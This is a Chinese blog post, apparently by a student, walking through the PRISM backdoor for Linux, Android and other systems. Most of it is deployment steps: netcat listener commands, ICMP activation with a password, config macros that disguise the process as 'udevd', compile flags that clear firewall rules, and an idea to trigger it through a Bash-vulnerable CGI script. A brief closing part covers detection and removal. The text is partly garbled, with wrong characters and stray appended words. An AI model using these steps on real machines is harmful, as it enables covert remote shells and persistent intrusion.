搜索的时候无心中看见的这款基于ping的ICMP后门。因而到做者的github上看看,竟然是阴文的,为了过级,只能强忍着看了,学生狗伤不起。还比如较简单易懂,正如简介说的同样:“PRISM is an user space stealth reverse shell backdoor, written in pure C.”python
项目地址:https://github.com/andreafabrizi/prism linux
PRISM只有两个主文件,配置简单,能在Linux、Solaris、AIX、BSD/Mac、Android等多个系统上运行,支持两种工做模式:ICMP 和 STATIC 模式。git
ICMP模式github
使用这种模式的后门将会在后台等待特定的包含主机/端口链接信息的ICMP数据包,经过私有密钥能够阻止第三方访问。后门进程接受ping包激活(总不会连ping包都不让过了靶>_<)shell
首先,在攻击者的机器上运行netcat来等待后门进入的链接:服务器
~$ nc -l -p 9999
再使用sendPacket.py脚本(或其余数据包生成器,如nemesis-1.4)发送激活包到后门主机,以使后门主机反弹链接到主控机的指定端口:工具
./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999 //10.0.0.5 远程主机(靶机)的IP地址 //linger 链接密码 //10.0.0.10 主控机IP地址 //9999 主控机链接端口
STATIC模式测试
使用这种模式,后门主机将会主动尝试链接到指定端口的的IP地址上,因此只要在指定IP上监听指定端口等待链接就能够了。可是,缺点很明显,很任意暴露攻击者的IP地址,并且使用不够灵活。spa
$ nc -l -p [PORT]
固然,做为一款迷你级的后门木马。它仍是有不少优势的:blog
两种工做模式、运行时进程重命名、不会监听端口、自动清除iptables规则表、采用C语言编写(代码仅有200来行),因此不须要任何库支持。
配置prism后门
编辑prism.c文件,修改宏定义部分:
40 #ifdef STATIC 41 # define REVERSE_HOST "10.0.0.1" //链接到主控机的IP地址 42 # define REVERSE_PORT 19832 //链接到主控机的端口号 43 # define RESPAWN_DELAY 15 //后门机尝试链接的空闲时间间隔 44 #else 45 # define ICMP_PACKET_SIZE 1024 //ICMP数据包的大小 46 # define ICMP_KEY "linger" //链接的密码 47 #endif 48 49 #define VERSION "0.5" //版本信息 50 #define MOTD "PRISM v"VERSION" started\n\n# " //后门机链接时显示的消息 51 #define SHELL "/bin/sh" //shell执行的位置 52 #define PROCESS_NAME "udevd" //建立的进程名称
交叉编译prism后门
gcc <..OPTIONS..> -Wall -s -o prism prism.c
可用的参数<OPTION>选项:
-DDETACH //后台运行
-DSTATIC //只用STATIC模式(默认是ICMP模式)
-DNORENAME //再也不重命名进程名
-DIPTABLES //清除全部iptables规则表项
例如:
gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
不一样平台下的交叉编译须要相关库文件:
Android平台:
apt-get install gcc-arm-linux-gnueabi arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism
Linux 64bit:
apt-get install libc6-dev-amd64 gcc -DDETACH -m64 -Wall -s -o prism prism.c
Linux 32bit:
apt-get install libc6-dev-i386 gcc -DDETACH -m32 -Wall -s -o prism prism.c
编译好以后,能够查看后门的配置信息:
运行prism后门测试
将该后门上传到远程后门主机,再使用sendPacket.py脚本(需以root运行)在本地发送激活包到后门主机,本地监听相关端口等待后门主机反弹链接:(这里要注意,最好时将prism.c文件上传到后门主机再进行编译,这样才更容易成功。)
这对于采用了不少限制(比喻限制了SSH)远程服务器来讲,使用该后门是不错的。并且prism服务端运行后会在后台一直运行,除非服务器重启。因此,后门开启后删除自身文件将不容易被发现。
简单讲解prism后门的清除
首先,上面说了,该后门重启会失效,除非写在开机启动项里。因此攻击者想要继续留住后门,确定会这样作,故首先要检查开机启动项里(好比/etc/rc.local,这但是root权限!)是否有未知启动脚本。联想起前段时间的BASH漏洞,有一个不错的思路是在cgi-bin里的某个脚本里做改变,当访问这个脚本时就能够触发这个prism后门,这样就能够不用以前的python脚原本触发了。厄,貌似这就讲到攻击了-_- 无论怎样,先得有点见识靶。搞很差还真有人会这样用呢。
其次,虽然这个后门能够改变后门进程名,可是仍是有进程存在,因此要查出这个未知进程。能够用工具查找,找到kill掉就OK了。
最后,要设置好严格的iptables规则。该后门能够按攻击者的设置尝试清除iptables规则,因此要按期查看iptables规则是否改变。
还有,该后门是使用ICMP协议的PING包激活的,SO,若是还真怕PRISM的会,那就过滤掉ICMP包靶,走着瞧靶v_v
可是,站在攻击者的角度来看,想要防范prism后门仍是比较难的。正如其做者所描述的那样:“No listening ports”,啥意思?就是想用啥端口链接均可以,额测试过了: ) 这么说来,貌似上上一条有失效了-_-
因此,综上所属,最好的办法就是作好预防工做,防止被入侵。为啥?由于我是傻逼{-_-}